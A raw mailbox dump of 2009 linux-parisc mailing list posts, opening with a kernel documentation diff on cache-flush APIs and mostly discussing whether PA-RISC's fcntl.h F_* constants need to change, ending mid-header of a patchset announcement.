+++ b/Documentation/cachetlb.txt
@@ -377,3 +377,27 @@ maps this page at its virtual address.
 	All the functionality of flush_icache_page can be implemented in
 	flush_dcache_page and update_mmu_cache. In 2.7 the hope is to
 	remove this interface completely.
+
+For machines where aliasing can be a problem, there exist two
+additional APIs to handle I/O to vmap/vmalloc areas within the
+kernel. These are areas that have two kernel mappings, one the regular
+page offset map through which the page has likely been previously
+accessed and the other, the new contiguous map in the kernel virtual
+map area.  This dual mapping sets up aliasing within the kernel and,
+in particular since all kernel flushing goes through the offset map,
+must be handled separately for I/O.  to declare your architecture as
+needing to use these functions, you must define
+ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE in asm/cacheflush.h and add two API
+helpers (usually as static inlines in cacheflush.h).  The two new APIs
+are:
+
+  void flush_kernel_dcache_addr(void *addr)
+       Flush a single page through the vmap alias for addr.  This is
+       usually executed prior to performing I/O on the page to make
+       sure the underlying physical page is up to date.
+
+  void invalidate_kernel_dcache_addr(void *addr)
+       Invalidate the page after I/O has completed.  This is necessary
+       on machines whose cache mechanisms might trigger cache movein
+       during I/O.  If you can ensure architecturally that this movein
+       never occurs, this function can be empty on your architecture.



From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Changes to fcntl.h and F_* numbers?
Date: Wed, 18 Nov 2009 15:22:15 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1258575751 20448 80.91.229.12 (18 Nov 2009 20:22:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Nov 2009 20:22:31 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 18 21:22:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAr2j-0001Xw-Oo
	for glpp-linux-parisc@lo.gmane.org; Wed, 18 Nov 2009 21:22:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932129AbZKRUWL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Nov 2009 15:22:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932199AbZKRUWL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Nov 2009 15:22:11 -0500
Original-Received: from mail-fx0-f221.google.com ([209.85.220.221]:61581 "EHLO
	mail-fx0-f221.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932129AbZKRUWK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Nov 2009 15:22:10 -0500
Original-Received: by fxm21 with SMTP id 21so1617923fxm.21
        for <linux-parisc@vger.kernel.org>; Wed, 18 Nov 2009 12:22:15 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=qBauIb1/NELWC1XNMTj2Jzo4+OfKCyutKFXbchehq68=;
        b=A6GxwCa9Ivww68Uqex77xd2SoEMZe9g0MToApyoTBBGu+vzhRneC5eHpSwmCzD7PD/
         0RGtm2m1qcadhII8e6hzLMESa7+VVU6oXPBO8wwe8qfuyryX4RpYddyFg26J4fSlPMeg
         3i11t1EQtuAPlvFm6QZeWn9hxAVe9xV5irFng=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=NvmbM8REjkajMgKyZblnp2q+45BJ0cG5egXsytTR7yJRz1XS+6/0hUH6I1TdscnNnN
         YVIrTnC0prf3cARSqopMofR+3GcWSW7djS1Gqqc1GMDxbes34UsSjRaaZg/0lAFXfYlq
         dqCt0zsclCoMMmhPJHqlu74FPjhQgafguVhZE=
Original-Received: by 10.204.154.131 with SMTP id o3mr6252521bkw.66.1258575735346; Wed, 
	18 Nov 2009 12:22:15 -0800 (PST)
X-Google-Sender-Auth: 438292ffe1f4b769
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2347
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2347>

Kyle, Helge,

I've seen some recent churn regarding the kernel fcntl.h and F_* numbers.

If our numbers change please keep me in the loop so I can update the C
library side.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [patch 07/13] parisc: Fixup last users of irq_chip->typename
Date: Wed, 18 Nov 2009 17:13:31 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20091118221330.GF28962@bombadil.infradead.org>
References: <20091117224852.846805939@linutronix.de> <20091117224916.604120310@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1258582464 10941 80.91.229.12 (18 Nov 2009 22:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Nov 2009 22:14:24 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>, Ingo Molnar <mingo@elte.hu>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 18 23:14:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAsmw-00039U-Nw
	for glpp-linux-parisc@lo.gmane.org; Wed, 18 Nov 2009 23:14:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752583AbZKRWN1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Nov 2009 17:13:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755859AbZKRWN1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Nov 2009 17:13:27 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33835 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752583AbZKRWN0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Nov 2009 17:13:26 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NAsmJ-0002ZA-3R; Wed, 18 Nov 2009 22:13:31 +0000
Content-Disposition: inline
In-Reply-To: <20091117224916.604120310@linutronix.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2348 gmane.linux.kernel:915799
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2348>

On Tue, Nov 17, 2009 at 10:50:59PM -0000, Thomas Gleixner wrote:
> The typename member of struct irq_chip was kept for migration purposes
> and is obsolete since more than 2 years. Fix up the leftovers.
> 
> Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: linux-parisc@vger.kernel.org

Thanks, applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Changes to fcntl.h and F_* numbers?
Date: Wed, 18 Nov 2009 22:22:20 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20091119032220.GG28962@bombadil.infradead.org>
References: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1258600981 22910 80.91.229.12 (19 Nov 2009 03:23:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Nov 2009 03:23:01 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 19 04:22:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAxbf-0004A2-Ti
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Nov 2009 04:22:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932398AbZKSDWS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Nov 2009 22:22:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932401AbZKSDWS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Nov 2009 22:22:18 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55540 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932398AbZKSDWR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Nov 2009 22:22:17 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NAxbA-0005Uo-GY; Thu, 19 Nov 2009 03:22:20 +0000
Content-Disposition: inline
In-Reply-To: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2349
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2349>

On Wed, Nov 18, 2009 at 03:22:15PM -0500, Carlos O'Donell wrote:
> Kyle, Helge,
> 
> I've seen some recent churn regarding the kernel fcntl.h and F_* numbers.
> 
> If our numbers change please keep me in the loop so I can update the C
> library side.
> 

?

Unless you added things based on what's in git to libc, there's been no
changes recently. It would be fairly unwise to pick things out before
they've been in a released kernel, since they're subject to change up
until that point...

After that, the assignments are absolutely immutable...

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Changes to fcntl.h and F_* numbers?
Date: Thu, 19 Nov 2009 12:00:07 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440911190900t62122ed8m987c55821ca64062@mail.gmail.com>
References: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>
	 <20091119032220.GG28962@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1258650024 5389 80.91.229.12 (19 Nov 2009 17:00:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Nov 2009 17:00:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 19 18:00:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NBAMd-0007e1-Ke
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Nov 2009 18:00:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752853AbZKSRAE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Nov 2009 12:00:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752994AbZKSRAE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Nov 2009 12:00:04 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:61748 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752986AbZKSRAC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Nov 2009 12:00:02 -0500
Original-Received: by bwz27 with SMTP id 27so2563295bwz.21
        for <linux-parisc@vger.kernel.org>; Thu, 19 Nov 2009 09:00:08 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=jdRgsVZIDwV6soSlkNAUOumQ5KjdfWEbrpp9+C2p4sU=;
        b=Yx7A8LqacVFpopWOfuTWmn54xZGbHXU6ehzTSxV94r80CC9+HF5XvQHlL0wfmpYZI2
         4gTtFYa9aX2d0bgP4eoY/LbcAVoOpMPe6RpoRJid5oZUDI+0Od6EC/6V1tQyNLsfnwrI
         ojXOpms4SeLB6bmXq0duCL+sd2R2JYeIh9Re0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=Kyevak/Fekwm5OkojIdXRy80FZ3WsXOcVZeUDz/x0uLG8ZYhNhMT5SaBZCuoHmtzo7
         XEOlpAhNX0Zt1PJGpPMiSNINfqnjudLTAVrAcd/ua39EISii7fql2NPtmDUiKC3Ob36V
         XhlflSjnqnZrnSJ8/5BOEwqEJTxX+SzmeiDgM=
Original-Received: by 10.204.25.71 with SMTP id y7mr254338bkb.67.1258650007775; Thu, 19 
	Nov 2009 09:00:07 -0800 (PST)
In-Reply-To: <20091119032220.GG28962@bombadil.infradead.org>
X-Google-Sender-Auth: d8a86a7f0dbcc2f8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2350
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2350>

On Wed, Nov 18, 2009 at 10:22 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Wed, Nov 18, 2009 at 03:22:15PM -0500, Carlos O'Donell wrote:
>> Kyle, Helge,
>>
>> I've seen some recent churn regarding the kernel fcntl.h and F_* numbers.
>>
>> If our numbers change please keep me in the loop so I can update the C
>> library side.
>>
>
> ?

http://marc.info/?l=linux-api&m=125688056905828&w=2

> Unless you added things based on what's in git to libc, there's been no
> changes recently. It would be fairly unwise to pick things out before
> they've been in a released kernel, since they're subject to change up
> until that point...
>
> After that, the assignments are absolutely immutable...

Thanks.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Changes to fcntl.h and F_* numbers?
Date: Thu, 19 Nov 2009 12:23:34 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <1258651414.6363.12.camel@mulgrave.site>
References: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>
	 <20091119032220.GG28962@bombadil.infradead.org>
	 <119aab440911190900t62122ed8m987c55821ca64062@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1258651523 11262 80.91.229.12 (19 Nov 2009 17:25:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Nov 2009 17:25:23 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 19 18:25:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NBAkq-0003Kv-V3
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Nov 2009 18:25:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754497AbZKSRXe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Nov 2009 12:23:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754756AbZKSRXd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Nov 2009 12:23:33 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45288 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754497AbZKSRXc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Nov 2009 12:23:32 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 97A0C8EE105;
	Thu, 19 Nov 2009 09:23:38 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tzsHsfgmb3-n; Thu, 19 Nov 2009 09:23:38 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D87268EE0DF;
	Thu, 19 Nov 2009 09:23:36 -0800 (PST)
In-Reply-To: <119aab440911190900t62122ed8m987c55821ca64062@mail.gmail.com>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2351
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2351>

On Thu, 2009-11-19 at 12:00 -0500, Carlos O'Donell wrote:
> On Wed, Nov 18, 2009 at 10:22 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > On Wed, Nov 18, 2009 at 03:22:15PM -0500, Carlos O'Donell wrote:
> >> Kyle, Helge,
> >>
> >> I've seen some recent churn regarding the kernel fcntl.h and F_* numbers.
> >>
> >> If our numbers change please keep me in the loop so I can update the C
> >> library side.
> >>
> >
> > ?
> 
> http://marc.info/?l=linux-api&m=125688056905828&w=2

But this isn't parisc specific ... it's a bug CodeSourcery reported in
the ABI assignment in asm-generic.

We already look to have this sorted out locally in our fcntl.h ... so
we're not going to be changing anything, are we?  Or are you saying
(because we could get into trouble in future) that we should adopt the
asm generic ones?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Changes to fcntl.h and F_* numbers?
Date: Fri, 20 Nov 2009 17:57:01 -0500
Lines: 88
Approved: news@gmane.org
Message-ID: <119aab440911201457j1727576blde3c62569f927711@mail.gmail.com>
References: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>
	 <20091119032220.GG28962@bombadil.infradead.org>
	 <119aab440911190900t62122ed8m987c55821ca64062@mail.gmail.com>
	 <1258651414.6363.12.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1258757838 24015 80.91.229.12 (20 Nov 2009 22:57:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2009 22:57:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 23:57:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NBcPZ-0003DG-60
	for glpp-linux-parisc@lo.gmane.org; Fri, 20 Nov 2009 23:57:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751652AbZKTW45 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2009 17:56:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754639AbZKTW45
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Nov 2009 17:56:57 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:57011 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751652AbZKTW45 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2009 17:56:57 -0500
Original-Received: by bwz27 with SMTP id 27so3822208bwz.21
        for <linux-parisc@vger.kernel.org>; Fri, 20 Nov 2009 14:57:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=XlY6woNr2laVs9eVTDyFO2lTCC3SnYULtiJFVjU+FnY=;
        b=wi/rkI9EeZ3h6WGQRX4GzEwLP4P8JJAs6URmFLnDq/wPNrQ8Foj4cJwQ2lIuOlDUkK
         l5Ln1wfGoBe/XLE4VTtBcHbu1d9ajHwfqXxYzpG1u3dGSvGfPSf/N2UMnpGfRiaU21SD
         HQRNvPlCa/UXz+rpR9tD8EDnw5btcbxcO4LgY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=c2gk37bhj+zie0Qk1eCWoWRYMx1U6dZKqr9kmNUJS8vbXTa1W2wjvaRYhcGnyVPaOa
         ddtUKAs9QnLw6rM7tIIxjSg4oOGHQfu4dK7woc4bQvD9aRFI/JzSGOwhc2uxFynCfckX
         CJQrhT8poPIR7BB6KjHojdhNEnvtDxMpJd9AM=
Original-Received: by 10.204.29.11 with SMTP id o11mr1820881bkc.164.1258757821967; Fri, 
	20 Nov 2009 14:57:01 -0800 (PST)
In-Reply-To: <1258651414.6363.12.camel@mulgrave.site>
X-Google-Sender-Auth: 73cd8c02c643ee95
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2352
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2352>

On Thu, Nov 19, 2009 at 12:23 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Thu, 2009-11-19 at 12:00 -0500, Carlos O'Donell wrote:
>> On Wed, Nov 18, 2009 at 10:22 PM, Kyle McMartin <kyle@mcmartin.ca> w=
rote:
>> > On Wed, Nov 18, 2009 at 03:22:15PM -0500, Carlos O'Donell wrote:
>> >> Kyle, Helge,
>> >>
>> >> I've seen some recent churn regarding the kernel fcntl.h and F_* =
numbers.
>> >>
>> >> If our numbers change please keep me in the loop so I can update =
the C
>> >> library side.
>> >>
>> >
>> > ?
>>
>> http://marc.info/?l=3Dlinux-api&m=3D125688056905828&w=3D2
>
> But this isn't parisc specific ... it's a bug CodeSourcery reported i=
n
> the ABI assignment in asm-generic.

Yes, that's correct, the original issue doesn't apply to parisc.

I pull from kyle's tree here:
git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git

In kyle's tree I see:
"arch/parisc/include/asm/fcntl.h"
#define F_GETOWN_EX     15
#define F_SETOWN_EX     16

The original message that Joseph Myers at CodeSourcery posted here:
http://marc.info/?l=3Dlinux-api&m=3D125466028819859&w=3D2

Does not apply to us.

> We already look to have this sorted out locally in our fcntl.h ... so
> we're not going to be changing anything, are we? =A0Or are you saying
> (because we could get into trouble in future) that we should adopt th=
e
> asm generic ones?

I don't think we have to change anything.

It would probably be less maintenance for Kyle in the future if we
adopted the generic ones for future flags.

The message I referenced here:
http://marc.info/?l=3Dlinux-api&m=3D125688056905828&w=3D2

by Stephen Rothwell <sfr@canb.auug.org.au>, has a parisc specific piece=
 here:

~~~
diff --git a/arch/parisc/include/asm/fcntl.h b/arch/parisc/include/asm/=
fcntl.h
index 5f39d55..1e1c824 100644
--- a/arch/parisc/include/asm/fcntl.h
+++ b/arch/parisc/include/asm/fcntl.h
@@ -28,8 +28,6 @@
 #define F_SETOWN	12	/*  for sockets. */
 #define F_SETSIG	13	/*  for sockets. */
 #define F_GETSIG	14	/*  for sockets. */
-#define F_GETOWN_EX	15
-#define F_SETOWN_EX	16

 /* for posix fcntl() and lockf() */
 #define F_RDLCK		01
~~~

I don't know why he wants to remove bits from our fcntl.h.

The intent of my original email was to say "Hi! I'm the libc
maintainer, I'll fix things if you notice a problem."

I'm pretty sure I'm on linux-api, but I missed this issue.

Cheres,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCHSET 0-5] remove unneeded nfsd #includes
Date: Tue, 24 Nov 2009 19:58:15 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <4B0C1EB7.50508@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259085740 2918 80.91.229.12 (24 Nov 2009 18:02:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2009 18:02:20 +0000 (UTC)
To: "J. Bruce Fields" <bfields-vtMw8L3fJ9vSiEDVxGk4TQ@public.gmane.org>,
	Linux Kernel <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
